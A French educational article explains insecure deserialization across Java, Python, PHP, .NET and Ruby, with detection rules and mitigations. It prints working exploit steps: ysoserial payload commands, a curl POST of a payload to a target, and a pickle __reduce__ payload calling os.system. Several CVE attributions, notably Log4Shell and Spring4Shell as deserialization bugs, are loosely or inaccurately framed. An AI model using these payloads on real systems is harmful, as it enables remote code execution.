OWASP & AppSec

Désérialisation insecure : explication complète 2025

Désérialisation insecure expliquée : mécanisme, gadget chains Java/Python/PHP/.NET, CVE Log4Shell, ysoserial, détection, mitigation (JSON, ObjectInputFilter).

Naim Aouaichia
15 min de lecture
  • Désérialisation
  • OWASP
  • RCE
  • Java
  • Python
  • PHP
  • .NET
  • Gadget chain

La désérialisation insecure est une vulnérabilité qui permet à un attaquant de provoquer une exécution de code à distance (RCE), un déni de service ou une escalade de privilèges en fournissant un flux de données malicieux à une application qui le reconstruit en objets applicatifs sans vérification préalable. Elle est classée A08:2021 Software and Data Integrity Failures dans le Top 10 OWASP, CWE-502 (Deserialization of Untrusted Data) dans le catalogue MITRE, et représente 3 à 6 % des CVE critiques annuelles 2020-2024 selon le CISA KEV Catalog. La vulnérabilité touche de manière aiguë Java (ObjectInputStream, JSF ViewState, RMI, JMS), .NET (BinaryFormatter, LosFormatter, SoapFormatter, NetDataContractSerializer), PHP (unserialize), Python (pickle, YAML.load), Ruby (Marshal), et de manière plus circonstancielle Node.js (node-serialize, serialize-to-js). L'exploitation repose sur des gadget chains : des séquences de classes présentes dans le classpath cible qui, enchaînées lors de la désérialisation, produisent un effet RCE sans exploitation d'une vulnérabilité dans une classe particulière. Les outils publics ysoserial (Java), ysoserial.net (.NET), phpggc (PHP) cataloguent plus de 80 gadget chains opérationnelles 2024-2025. Cet article détaille le mécanisme complet, les exploitations concrètes par langage avec code, les CVE historiques (Log4Shell CVE-2021-44228, Spring4Shell CVE-2022-22965, Apache Commons Collections), les stratégies de détection (CodeQL, Semgrep, PortSwigger scanner) et les mitigations par ordre de robustesse.

1. Qu'est-ce que la désérialisation et pourquoi elle est dangereuse

La sérialisation est la conversion d'un objet mémoire (avec son état, ses références, ses méthodes) en flux d'octets ou chaîne, pour stockage, transmission réseau, ou reprise d'exécution. La désérialisation est l'opération inverse : reconstruction de l'objet depuis le flux. Tant que le flux est trusté (produit par l'application elle-même, stocké dans un emplacement contrôlé), l'opération est bénigne. Quand le flux est sous contrôle attaquant (body HTTP, cookie, message queue publique, fichier uploadé), chaque appel de désérialisation devient un vecteur d'exploitation potentiel.

1.1 Le point de bascule : exécution pendant la reconstruction

Le danger vient de ce que les frameworks de sérialisation exécutent du code métier pendant la reconstruction de l'objet : constructeurs, méthodes spéciales (readObject en Java, __wakeup et __destruct en PHP, __reduce__ et __setstate__ en Python, OnDeserialization en .NET). Ces méthodes peuvent accéder aux systèmes de fichiers, lancer des processus, établir des connexions réseau. Un flux malicieux peut référencer des classes présentes dans le classpath qui, via leurs méthodes automatiquement appelées, produisent un effet d'exécution.

1.2 Formats binaires vs formats de données

FormatExécute du code au parse ?Risque RCE sur input non trusté
JSON (json.loads, JSON.parse, Jackson sans polymorphisme)NonTrès faible
CBOR, MessagePackNonTrès faible
Protocol BuffersNonFaible (schema-bound)
XML (sans DTD externes)NonModéré (XXE si DTD activé)
YAML safe_loadNonFaible
Java ObjectInputStreamOuiCritique
.NET BinaryFormatterOuiCritique (déprécié)
Python pickleOuiCritique
PHP unserializeOuiCritique
Ruby MarshalOuiCritique
YAML yaml.load (non safe)OuiCritique
node-serialize (npm)OuiCritique

La règle de sélection 2025 : JSON par défaut, binaire applicatif uniquement si performance ou compatibilité l'exige, et signé HMAC côté serveur si source externe tolérée. Voir le principe n°8 dans Principes de secure coding.

2. Mécanisme d'exploitation : les gadget chains

Une gadget chain est une séquence de classes légitimes présentes dans le classpath cible dont l'enchaînement produit un effet non prévu lors de la désérialisation. L'attaquant ne fournit pas de bytecode nouveau — il fournit un graphe d'objets dont la simple reconstruction déclenche l'appel en cascade de méthodes qui aboutissent à une RCE.

2.1 Anatomie d'une gadget chain Java

Exemple CommonsCollections1 (CC1), première gadget chain Java publique (Frohoff et Lawrence, AppSecCali 2015) :

Gadget chain CommonsCollections1 — mécanique simplifiée
────────────────────────────────────────────────────────
1. Attaquant envoie un HashMap<AnnotationInvocationHandler, ...> sérialisé
 
2. readObject() du HashMap déclenche le rehashing à la désérialisation
   ─► appel automatique de equals() / hashCode() sur les clés
 
3. AnnotationInvocationHandler.equals() invoque un Proxy
   ─► Proxy.invoke() appelle une méthode sur un objet Map
 
4. Le Map est un TransformedMap wrapping LazyMap
   ─► lazyMap.get() déclenche le Transformer associé
 
5. Le Transformer est un ChainedTransformer
   ─► enchaîne ConstantTransformer → InvokerTransformer
   ─► InvokerTransformer utilise Java Reflection pour appeler
      Runtime.getRuntime().exec("id") ← RCE
 
Total : ~15-20 lignes de sérialisation, ~0 vulnérabilité dans une classe

Aucune des classes impliquées n'est vulnérable individuellement. La vulnérabilité émerge de leur combinaison activée par la désérialisation automatique. D'où l'impossibilité de « patcher une gadget chain » autrement que par blocage du vecteur de désérialisation lui-même.

2.2 Outils publics de génération de gadget chains

OutilÉcosystèmeChaînes catalogéesMaintenu
ysoserialJavaCC1-11, Spring1-2, JSON1, ROME, Hibernate1, JBossInterceptors, etc. (~30)Oui (communauté)
ysoserial.net.NETTypeConfuseDelegate, TextFormattingRunProperties, etc. (~15)Oui
phpggcPHPLaravel, Symfony, Guzzle, Monolog, WordPress (~60 chaînes)Oui (très actif)
marshalsecJava (JNDI + désérialisation)Focus injection JNDIOui
pickle-payloadPythonGénérateurs pickle arbitrairesActif

L'existence de ces catalogues publics signifie qu'aucune application Java/.NET/PHP avec dépendances courantes ne peut tolérer de désérialiser un flux non trusté sans une protection explicite.

3. Java : ObjectInputStream, JSF ViewState, RMI

Java reste l'écosystème le plus exposé historiquement à la désérialisation insecure, par la présence ubiquitaire d'Apache Commons Collections, Spring, Hibernate, Jackson en polymorphisme dans les classpaths.

3.1 Surface d'attaque Java typique

SurfaceOù la désérialisation intervient
ObjectInputStream.readObject()Ports RMI, JMX, JMS, protocoles custom, caches distribués
JSF ViewStateChamp javax.faces.ViewState côté client, signé ou non
Spring RemoteInvocationHTTP Invoker, RMI Spring, JMX
Apache ActiveMQ / ArtemisMessages sérialisés entre brokers / clients
Jackson polymorphism activé@JsonTypeInfo(use = Id.CLASS) sans allowlist
Hazelcast / Infinispan / EhCacheCaches distribués sérialisant objets
Apache Struts ContentTypeCVE-2017-5638 (Equifax) — OGNL injection via désérialisation

3.2 Exemple vulnérable et exploitation

// ❌ Code vulnérable typique — endpoint qui désérialise un body
@PostMapping("/api/state")
public ResponseEntity<String> restoreState(HttpServletRequest req) throws IOException {
    try (ObjectInputStream ois = new ObjectInputStream(req.getInputStream())) {
        Object state = ois.readObject();  // ❌ RCE si Commons Collections dans classpath
        applyState(state);
        return ResponseEntity.ok("restored");
    } catch (ClassNotFoundException e) {
        return ResponseEntity.badRequest().body("unknown class");
    }
}

Exploitation avec ysoserial :

# Génération payload CommonsCollections1 qui lance "id"
java -jar ysoserial.jar CommonsCollections1 "id" > payload.bin
 
# Envoi vers endpoint vulnérable
curl -X POST --data-binary @payload.bin \
  -H "Content-Type: application/octet-stream" \
  https://target.example/api/state

3.3 Mitigation Java

// ✅ JEP-290 ObjectInputFilter (Java 9+, backporté sur 8u121+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.mycompany.state.AppState;" +       // classes autorisées explicites
    "java.util.ArrayList;" +
    "java.util.HashMap;" +
    "!*"                                     // tout le reste rejeté
);
 
try (ObjectInputStream ois = new ObjectInputStream(req.getInputStream())) {
    ois.setObjectInputFilter(filter);
    Object state = ois.readObject();
    applyState(state);
}

Encore mieux : supprimer la désérialisation binaire et passer à Jackson JSON avec DTO explicite :

// ✅ Solution racine — JSON schema-bound, pas de polymorphisme
@PostMapping(value = "/api/state", consumes = "application/json")
public ResponseEntity<String> restoreState(@Valid @RequestBody AppStateDto dto) {
    applyState(dto.toDomain());
    return ResponseEntity.ok("restored");
}

4. Python : pickle, YAML.load, marshal

Python pickle est le format de sérialisation natif et l'un des plus simples à exploiter. Sa documentation officielle Python 3.12 déclare explicitement : « It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data received from an untrusted or unauthenticated source. ».

4.1 Anatomie d'un payload pickle RCE

Le mécanisme repose sur la méthode magique __reduce__ d'une classe custom, qui retourne un callable et ses arguments, appelés à la désérialisation :

# Génération d'un payload pickle qui exécute "id" à la désérialisation
import pickle, os
 
class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))
 
payload = pickle.dumps(Exploit())
# Export du payload base64
import base64
print(base64.b64encode(payload).decode())
 
# Côté victime :
# pickle.loads(payload) ─► os.system("id") s'exécute

4.2 Surface Python vulnérable typique

ContexteRisque
Cookies pickle-encodés (legacy Flask, Django sessions signés)Critique si signature absente ou clé divulguée
Files uploads pickle.load(f)Critique
Redis / memcached déserialisant pickle automatiquementCritique si cache accessible attaquant
Celery tasks avec serializer='pickle'Critique si broker exposé
yaml.load() sans Loader=SafeLoaderCritique
torch.load() (PyTorch checkpoints)Critique (utilise pickle sous le capot)

4.3 Mitigation Python

# ✅ YAML safe
import yaml
config = yaml.safe_load(untrusted_input)  # jamais yaml.load(...) nu
 
# ✅ JSON pour les sessions / caches
import json
session_data = json.loads(cookie_value)
 
# ✅ Celery configuration
# dans celery config :
CELERY_TASK_SERIALIZER = "json"
CELERY_RESULT_SERIALIZER = "json"
CELERY_ACCEPT_CONTENT = ["json"]
 
# ✅ PyTorch checkpoints : weights_only=True (PyTorch 2.1+)
model = torch.load("checkpoint.pt", weights_only=True)

4.4 Restricted Unpickler (mitigation partielle)

Si pickle est inévitable (interopérabilité ML, interprocess IPC fiable) :

import pickle, io
 
ALLOWED = {
    ("numpy.core.multiarray", "_reconstruct"),
    ("numpy", "ndarray"),
    ("numpy", "dtype"),
    ("my_app.models", "Checkpoint"),
}
 
class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if (module, name) not in ALLOWED:
            raise pickle.UnpicklingError(f"blocked: {module}.{name}")
        return super().find_class(module, name)
 
def safe_loads(data: bytes):
    return RestrictedUnpickler(io.BytesIO(data)).load()

5. PHP : unserialize, magic methods, phpggc

PHP unserialize déclenche les méthodes magiques __wakeup, __destruct, __toString, __call sur les objets reconstruits. La surface d'exploitation dépend du code chargé dans l'application (Laravel, Symfony, WordPress, Joomla, Drupal, Guzzle). L'outil phpggc (maintenu activement par ambionics) catalogue plus de 60 gadget chains sur les frameworks PHP courants.

5.1 Exemple simplifié

// ❌ Application PHP qui désérialise un cookie non signé
session_start();
$user = unserialize($_COOKIE['user_data']);  // ❌ RCE via gadget chain
// ...
 
// ✅ JSON + signature HMAC
$signed = $_COOKIE['user_data'];
[$payload_b64, $sig] = explode('.', $signed, 2);
$expected = hash_hmac('sha256', $payload_b64, $HMAC_KEY);
if (!hash_equals($expected, $sig)) {
    http_response_code(401);
    exit();
}
$user = json_decode(base64_decode($payload_b64), true);

5.2 Option allowed_classes (PHP 7+)

// ✅ Restriction classes désérialisables (mitigation partielle, pas suffisante seule)
$user = unserialize($data, ['allowed_classes' => ['AppUser']]);

Attention : même avec allowed_classes, les méthodes magiques des classes listées peuvent elles-mêmes être exploitées si l'application le permet. La solution racine reste la migration vers JSON.

6. .NET : BinaryFormatter et successeurs, ysoserial.net

Microsoft a déprécié BinaryFormatter dans .NET 5 (2020) et déclaré la désérialisation binaire « dangereuse par nature » dans la documentation officielle. Mais les applications .NET legacy et beaucoup d'intégrations enterprise l'utilisent encore en 2024-2025.

6.1 Formatters .NET dangereux

FormatterStatut 2025Risque
BinaryFormatterDéprécié (obsolete warning dès .NET 5, retiré .NET 9 par défaut)Critique
SoapFormatterDépréciéCritique
LosFormatter (WebForms ViewState)Legacy, encore utiliséCritique si MAC validation désactivée
NetDataContractSerializerDéconseilléCritique
JavaScriptSerializer avec TypeResolverProblématiqueCritique si TypeResolver custom
JSON.NET (Newtonsoft) avec TypeNameHandlingCritique si TypeNameHandling.All ou .Auto sans SerializationBinderCritique

6.2 Exemple exploit ysoserial.net

# Génération payload TextFormattingRunProperties qui lance calc.exe
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \
    -c "calc.exe" > payload.bin

6.3 Mitigation .NET moderne

// ✅ System.Text.Json — format JSON pur, pas de polymorphisme non maîtrisé
using System.Text.Json;
 
public record UserDto(Guid Id, string DisplayName);
 
var user = JsonSerializer.Deserialize<UserDto>(
    untrustedJson,
    new JsonSerializerOptions { PropertyNameCaseInsensitive = true }
);
 
// ✅ Si Newtonsoft.Json requis : TypeNameHandling strictement None
var settings = new JsonSerializerSettings {
    TypeNameHandling = TypeNameHandling.None,  // ✅ défaut sûr
    // Jamais TypeNameHandling.All ou .Auto sans SerializationBinder custom
};

7. Node.js et Ruby : surface plus étroite mais réelle

7.1 Node.js

Les modules node-serialize et serialize-to-js sont vulnérables par conception (CVE-2017-5941 node-serialize RCE). Le JSON natif et la plupart des libs (Jackson JS, cbor-x, msgpack) sont sûrs. Risque ponctuel sur des systèmes héritant de vieux modules npm.

7.2 Ruby

Marshal.load est équivalent à pickle Python — RCE sur input non trusté. Plusieurs CVE Rails historiques (CVE-2013-0156, CVE-2013-0333) impliquent la désérialisation de sessions Marshal. Rails 4+ désactive Marshal par défaut pour les sessions (JSON), mais les caches Memcached / Redis Marshal-encodés restent une surface si exposés.

# ❌ Marshal sur donnée externe
data = Marshal.load(Base64.decode64(params[:state]))
 
# ✅ JSON + signature
payload = JSON.parse(verified_signed_message(params[:state]))

8. CVE notables 2021-2024

Sélection des CVE désérialisation les plus impactantes des 4 dernières années :

CVEAnnéeProduitCVSSImpact
CVE-2021-44228 (Log4Shell)2021Apache Log4j 210.0RCE via JNDI + désérialisation
CVE-2022-22965 (Spring4Shell)2022Spring Core Framework9.8RCE via ClassLoader + désérialisation
CVE-2023-208602023Spring Framework7.5DoS / SSRF via désérialisation
CVE-2023-225272024Atlassian Confluence10.0RCE via OGNL + désérialisation
CVE-2024-238972024Jenkins CLI9.8Arbitrary file read enabling deserialization
CVE-2024-15972024PostgreSQL JDBC10.0SQL injection enabling Java deserialization
CVE-2024-451952024Apache OFBiz9.8RCE via désérialisation non-authentifiée

Le CISA KEV Catalog (Known Exploited Vulnerabilities) comptait ~90 CVE désérialisation en exploitation active au premier trimestre 2025, majoritairement Java et .NET.

9. Détection dans un codebase

9.1 Règles Semgrep ciblées

# semgrep rule — détecte les usages Python pickle risqués
rules:
  - id: python-pickle-loads-untrusted
    pattern-either:
      - pattern: pickle.loads($DATA)
      - pattern: pickle.load($F)
      - pattern: cPickle.loads($DATA)
      - pattern: yaml.load($DATA)
    message: >
      Désérialisation dangereuse sur input potentiellement non trusté.
      Utiliser json.loads, yaml.safe_load, ou un Unpickler restreint.
    severity: ERROR
    languages: [python]
    metadata:
      cwe: CWE-502
      owasp: A08:2021

9.2 CodeQL queries GitHub Security Lab

GitHub Security Lab maintient un pack de queries CodeQL spécialisées :

  • java/unsafe-deserialization — détecte readObject sans ObjectInputFilter.
  • python/unsafe-deserialization — détecte pickle.loads, yaml.load sur sources non trustées.
  • csharp/unsafe-deserializationBinaryFormatter, JavaScriptSerializer avec resolver.
  • javascript/unsafe-deserializationnode-serialize.unserialize sur entrée externe.

9.3 Test en pentest black-box

  • Burp Java Deserialization Scanner : détecte les cookies base64 ou paramètres qui décodent en Java serialized data (marqueur AC ED 00 05 / rO0AB).
  • Payload ysoserial en mode OOB via PortSwigger Collaborator : toute exécution côté serveur produit une requête DNS/HTTP vers le domaine collaborator, détectable sans sortie visible.
  • phpggc + Burp repeater pour tester manuellement les points d'injection PHP.

10. Mitigation par ordre de robustesse

Stratégies de défense classées par efficacité décroissante.

10.1 Supprimer la désérialisation binaire (solution racine)

Remplacer ObjectInputStream / pickle / BinaryFormatter / unserialize par JSON ou CBOR avec schéma strict (Jackson DataBind sans polymorphisme, Pydantic, System.Text.Json, Zod). C'est la seule solution structurellement robuste. Toutes les autres mitigations sont des contournements à limites documentées.

10.2 Signer et vérifier le flux (si binaire inévitable)

Quand la désérialisation binaire est contractuellement imposée (legacy, protocole externe, interopérabilité broker) :

import hmac, hashlib, pickle
 
SECRET = load_secret("app-pickle-hmac-key")  # jamais en code
 
def sign(payload: bytes) -> bytes:
    sig = hmac.new(SECRET, payload, hashlib.sha256).digest()
    return sig + payload
 
def verify_and_load(signed: bytes):
    sig, payload = signed[:32], signed[32:]
    expected = hmac.new(SECRET, payload, hashlib.sha256).digest()
    if not hmac.compare_digest(sig, expected):
        raise SecurityError("signature_invalid")
    return pickle.loads(payload)  # maintenant safe car flux authentifié

La signature HMAC garantit que seul le serveur (détenteur du secret) peut produire un flux acceptable. L'attaquant ne peut pas forger de payload valide.

10.3 Filtres de classes

ObjectInputFilter (Java JEP-290), SerializationBinder (.NET), allowed_classes (PHP), Restricted Unpickler (Python). Couvre les cas connus, peut laisser passer des gadget chains sur classes non anticipées. Mitigation complémentaire, pas substitutive.

10.4 Isolation du processus

Exécuter la désérialisation dans un container séparé, un process sandboxed (seccomp, AppArmor, gVisor), avec minimal file system et capabilities. Si une RCE survient malgré tout, elle reste contenue. Mitigation défense-en-profondeur, utile sur les systèmes legacy qui ne peuvent pas migrer.

10.5 Network isolation et RMI/JMX

Ne jamais exposer de ports RMI, JMX, JMS Java sur Internet. Restreindre au réseau interne avec authentification forte. Patterns historiques de CVE Java désérialisation montrent que 70 % des exploitations publiques visent ces protocoles exposés.

Points clés à retenir

  • Définition : RCE provoquée par la reconstruction d'un objet depuis un flux non trusté, via l'exécution automatique de méthodes spéciales (readObject, __wakeup, reduce, OnDeserialization).
  • Mécanisme : gadget chains — enchaînement de classes légales présentes dans le classpath, exploitables via ysoserial / ysoserial.net / phpggc.
  • Formats dangereux : Java ObjectInputStream, .NET BinaryFormatter, Python pickle, PHP unserialize, Ruby Marshal, YAML.load non-safe. Formats sûrs : JSON, CBOR, Protobuf.
  • CVE majeures récentes : Log4Shell CVE-2021-44228, Spring4Shell CVE-2022-22965, Confluence CVE-2023-22527, Jenkins CLI CVE-2024-23897, PostgreSQL JDBC CVE-2024-1597.
  • Mitigation hiérarchisée : 1) supprimer la désérialisation binaire (JSON + schéma), 2) signer HMAC si binaire imposé, 3) ObjectInputFilter / SerializationBinder, 4) isolation process, 5) network isolation.
  • Détection codebase : CodeQL (GitHub Security Lab queries), Semgrep (rules CWE-502), Snyk Code, Burp Java Deserialization Scanner.
  • Jackson / Newtonsoft piège : polymorphisme JSON (TypeNameHandling.Auto ou activateDefaultTyping) = désérialisation dangereuse en JSON aussi.

Pour le contexte général des principes de secure coding, voir Principes de secure coding. Pour le parcours d'apprentissage défensif complet, Roadmap secure coding et Roadmap AppSec Engineer. Pour la validation offensive de ces vulnérabilités, OWASP Testing Guide expliqué et Méthodologie pentest web.

Questions fréquentes

  • Qu'est-ce qu'une désérialisation insecure exactement ?
    C'est la reconstruction, à partir d'un flux d'octets ou d'une chaîne, d'un objet applicatif en exécutant du code métier (constructeurs, méthodes magiques __wakeup, readObject, __destruct, finalize, __reduce__) sans vérifier préalablement l'authenticité ou la structure du flux. Quand ce flux est contrôlé par un attaquant, il peut pointer vers des classes inattendues présentes dans le classpath / dépendances de l'application, dont la simple instanciation déclenche des opérations sensibles (exécution de commande, lecture de fichier, requête réseau). C'est la catégorie A08:2021 du Top 10 OWASP (Software and Data Integrity Failures), et CWE-502. Elle est particulièrement dévastatrice en Java et .NET où les gadget chains publiques (ysoserial, ysoserial.net) transforment quelques octets en RCE à distance sans authentification.
  • Qu'est-ce qu'une gadget chain et comment ça fonctionne ?
    Une gadget chain est une séquence de classes présentes dans le classpath cible dont l'enchaînement de méthodes appelées lors de la désérialisation produit un effet non prévu, typiquement l'exécution de code arbitraire. Par exemple la chaîne CommonsCollections1 (CC1) pour Java : l'attaquant fournit un TransformedMap sérialisé contenant un ChainedTransformer dont la méthode transform invoque InvokerTransformer, qui par réflexion appelle Runtime.exec("cmd"). Aucune vulnérabilité dans Apache Commons Collections elle-même — c'est la combinaison de classes légales, activée par l'appel automatique de readObject, qui produit la RCE. L'outil ysoserial catalogue plus de 30 gadget chains publiques (CommonsCollections1-11, Spring1-2, JSON1, Hibernate1, JBossInterceptors, ROME). L'équivalent .NET est ysoserial.net, PHP est phpggc, Python est pickle-payload.
  • Quelle différence entre désérialisation insecure et JSON classique ?
    JSON et CBOR sont des formats de données pures : ils codent des primitives (string, number, bool, array, object) sans capacité à instancier des classes applicatives arbitraires. Désérialiser du JSON avec json.loads (Python), JSON.parse (JS), ObjectMapper Jackson sans polymorphisme activé (Java) produit au pire une structure malformée, pas une RCE. Les formats dangereux sont ceux qui codent du comportement : Java Serialization (ObjectInputStream), Python pickle, Ruby Marshal, PHP unserialize, .NET BinaryFormatter / LosFormatter / SoapFormatter, YAML avec Loader non-safe. La règle 2025 : désérialiser les formats applicatifs uniquement avec un schéma (Jackson DataBind + Bean Validation, Pydantic, Zod), jamais depuis source non trustée.
  • Comment détecter une vulnérabilité de désérialisation dans un codebase ?
    Trois couches complémentaires. 1) SAST ciblé : règles CodeQL ou Semgrep qui détectent readObject, ObjectInputStream, pickle.loads, unserialize, yaml.load non-safe, BinaryFormatter.Deserialize. Les SAST commerciaux (Snyk Code, Checkmarx, Fortify) couvrent nativement les patterns courants. 2) SCA : tracker les bibliothèques connues pour leurs gadget chains exploitables (Apache Commons Collections < 3.2.2, Spring Core sans patch CVE-2022-22965, Jackson Databind < 2.10). 3) Tests manuels en pentest : PortSwigger Java Deserialization Scanner, Burp extension, payload tests via ysoserial en OOB avec Collaborator. L'outil reliable-first pour un AppSec Engineer reste CodeQL avec les queries deserialization-of-untrusted-data maintenues par GitHub Security Lab.
  • Quelle est la mitigation la plus fiable contre la désérialisation insecure ?
    Dans l'ordre décroissant de robustesse : 1) Ne pas désérialiser de données non trustées — remplacer le format binaire par JSON/CBOR validé par schéma. Solution racine, la plus fiable. 2) Si la désérialisation binaire est inévitable (système legacy, protocole externe), signer le flux avec HMAC-SHA256 et vérifier la signature AVANT désérialisation. Le secret HMAC reste côté serveur, l'attaquant ne peut forger un flux valide. 3) Restreindre les classes désérialisables via ObjectInputFilter (Java JEP-290, depuis Java 9), SerializationBinder (.NET), allowed_classes (PHP). Mitigation partielle, complète uniquement si la liste des classes est exhaustivement connue. 4) Isoler le processus de désérialisation (container ou process séparé, seccomp, AppArmor). Mitigation défense-en-profondeur, pas solution racine.
  • Pourquoi Log4Shell CVE-2021-44228 est-il lié à la désérialisation ?
    Log4Shell n'est pas une pure désérialisation Java classique, mais une chaîne qui inclut de la désérialisation à l'étape finale. Le bug primaire est l'interprétation de pattern ${jndi:ldap://...} dans les logs Log4j 2. JNDI résout le nom, obtient une ressource depuis un serveur LDAP contrôlé attaquant, qui renvoie une classe Java sérialisée. Log4j charge cette classe dans le classpath (class loading distant, fonctionnalité native JNDI) et exécute son constructeur — ce qui instancie effectivement une gadget chain fournie par l'attaquant. C'est pourquoi la CVE a obtenu CVSS 10.0 et généré 150 000+ incidents documentés en 2 mois (source : CISA advisory AA21-356A, 15 décembre 2021). Les patchs successifs ont d'abord désactivé la lookup JNDI, puis désactivé par défaut la désérialisation distante.

Écrit par

Naim Aouaichia

Expert cybersécurité et fondateur de Zeroday Cyber Academy

Expert cybersécurité avec un master spécialisé et un parcours hybride : développement, DevOps, DevSecOps, SOC, GRC. Fondateur de Hash24Security et Zeroday Cyber Academy. Formateur et créateur de contenu technique sur la cybersécurité appliquée, la sécurité des LLM et le DevSecOps.